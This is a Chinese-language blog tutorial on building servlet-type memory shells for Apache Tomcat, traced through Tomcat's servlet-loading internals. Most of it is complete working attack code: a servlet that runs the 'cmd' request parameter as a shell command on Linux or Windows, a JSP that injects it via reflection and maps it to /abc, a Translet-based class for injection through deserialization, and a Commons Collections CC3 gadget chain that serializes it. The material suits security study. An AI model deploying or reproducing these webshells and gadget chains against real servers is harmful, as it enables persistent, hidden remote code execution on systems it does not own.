tomcat内存马第三式 servlet型内存马
三大件的最后一件,servlet
调试
同样地,web.xml里添加servlet,如果不知道怎么添加的可以看上一期,简单写一个demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.Err0r233;
import javax.servlet.Servlet; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter;
@WebServlet("/hello") public class TestServlet2 extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html"); PrintWriter out = resp.getWriter(); out.println("<h1>" + "Hello World" + "<h1>"); }
}
|
在StandardContext
打断点,看看怎么创建servlet的,在startInternal
下打断点,看到这段报错,可以推断出前面就是添加servlet的函数,不然为什么出错的时候会说servletFail呢
其实这一段的前面已经完成了将所有servlet加载到context的children当中,而这个findChildren()
的代码如下:
1 2 3 4 5 6
| @Override public Container[] findChildren() { synchronized (children) { return children.values().toArray(new Container[0]); } }
|
它会返回children
的值,其实这个findChildren
就是把所有负责管理servlet
的wrapper
传入loadOnStartup
处
跟进loadOnStartup
,可以得到如下的结果
这一段将获得的children变成wrapper,再根据wrapper获取到loadOnStartup,然后根据loadOnStartup的key作为顺序,判断是否为null,然后将wrapper存放到list中
其实这一步获取到的key是指servlet的启动顺序
在每个Servlet的启动顺序在web.xml中,如果没有声明 load-on-startup 属性(默认为-1),则该Servlet不会被动态添加到容器
接下来对list里的wrapper进行加载wrapper(wrapper.load
)
跟进这个load函数,查看如何装载的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public synchronized void load() throws ServletException { instance = loadServlet();
if (!instanceInitialized) { initServlet(instance); }
if (isJspServlet) { StringBuilder oname = new StringBuilder(getDomain());
oname.append(":type=JspMonitor");
oname.append(getWebModuleKeyProperties());
oname.append(",name="); oname.append(getName());
oname.append(getJ2EEKeyProperties());
try { jspMonitorON = new ObjectName(oname.toString()); Registry.getRegistry(null, null).registerComponent(instance, jspMonitorON, null); } catch (Exception ex) { log.warn(sm.getString("standardWrapper.jspMonitorError", instance)); } } }
|
关键代码是instance = loadServlet();
跟进loadServlet,查看怎么加载的
可以看到这里通过servletClass
来装载,装载完所有的Servlet的时候,就会根据具体请求进行初始化、调用、销毁等操作
1 2 3 4
| 装载:启动服务器时加载Servlet的实例 初始化:调用init(),常在web服务器启动时,或者从web服务器接收请求时,又或者在二者之间的某个时刻时被调用 调用:调用servlet对应的service()。从第一次访问开始都是只调用doGet()或者doPost() 销毁:destroy方法销毁实例
|
梳理一下,在加载servlet的时候用到了findChildren,跟进之后发现findChildren其实是通过wrapper返回的。又因为加载servlet的时候利用到的wrapper.load()
加载,所以我们得找到能够添加wrapper
的函数
这个时候又因为wrapper
由findChildren()
得到,所以变相转到寻找能够添加children
的函数,于是找到下面这个函数ContainerBase#addChild
:
其实是因为StandardContext的addChild指向的是其父类的addChild才找到这里的
看这个addChild,通过调用addChildInternal
添加child
然后就是会找mapping映射添加了,所以我们还得找映射(对应上图的addServletMappingDecoded
)
实现
步骤如下:
- 创建恶意servlet并用wrapper封装
- 利用addChild添加这个wrapper
- 添加映射
恶意servlet:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {
} };
|
通过反射获取StandardContext
,老熟人了
1 2 3 4
| Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext();
|
添加一个关于该恶意servlet的wrapper,代码如下:
1 2 3 4 5 6
| Wrapper newWrapper = stdcontext.createWrapper(); String name = servlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());
|
最后添加child和添加映射(通过addServletMappingDecoded
添加)
1 2
| stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/abc", name);
|
jsp页面如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.PrintWriter" %> <%! Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {
} }; %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext(); %> <% Wrapper newWrapper = stdcontext.createWrapper(); String name = servlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); %> <% stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/abc", name); %>
|
反序列化实现
众所周知我更喜欢打反序列化的payload,但是奈何我没有搜到
所以只能根据上一期filter的马来改一下实现看看了,找猫画虎即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| package com.Err0r233;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Wrapper; import org.apache.catalina.connector.Request; import org.apache.catalina.core.StandardContext;
import javax.servlet.*; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.Scanner;
public class ServletEvil extends AbstractTranslet implements Servlet {
static { try{ Class appDispatcherClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); Field wrapField = appDispatcherClass.getDeclaredField("WRAP_SAME_OBJECT"); wrapField.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(wrapField, wrapField.getModifiers() & ~Modifier.FINAL);
Class appFilterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = appFilterChainClass.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = appFilterChainClass.getDeclaredField("lastServicedResponse"); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(appFilterChainClass); ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(appFilterChainClass);
if (!wrapField.getBoolean(appDispatcherClass) || lastServicedRequest == null || lastServicedResponse == null) { wrapField.set(null, true); lastServicedRequestField.set(null, new ThreadLocal()); lastServicedResponseField.set(null, new ThreadLocal()); }else { ServletRequest servletRequest = lastServicedRequest.get(); ServletResponse servletResponse = lastServicedResponse.get(); Servlet servlet = new ServletEvil(); Field reqF = servletRequest.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(servletRequest); StandardContext stdcontext = (StandardContext) req.getContext();
Wrapper newWrapper = stdcontext.createWrapper(); String name = servlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());
stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/abc", name);
servletResponse.getWriter().println("inject successfully"); }
}catch (Exception e){e.printStackTrace();} }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} @Override public void init(ServletConfig servletConfig) throws ServletException {
} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {
} }
|
cc3测一下效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| package com.Err0r233;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class clz = templates.getClass(); Field nameField = clz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa");
byte[] bytecode = Files.readAllBytes(Paths.get("D:\\developJava\\tomcatmemshell\\target\\classes\\com\\Err0r233\\ServletEvil.class")); byte[][] codes = {bytecode};
Field bytecodeField = clz.getDeclaredField("_bytecodes"); bytecodeField.setAccessible(true); bytecodeField.set(templates, codes);
Field tfactoryField = clz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class); AIHConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) AIHConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = AIHConstructor.newInstance(Override.class, mapProxy);
Serialize(o);
} private static void Serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos); objectOutputStream.writeObject(obj); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); objectOutputStream.close(); } private static void UnSerialize() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.txt")); objectInputStream.readObject(); objectInputStream.close(); } }
|
同样地 打两次payload:
servlet型的内存马与listener型的和filter型的不同,它必须通过我们写好的映射来访问,比如我这边写的映射就是/abc
:
1
| stdcontext.addServletMappingDecoded("/abc", name);
|
测试结果如下: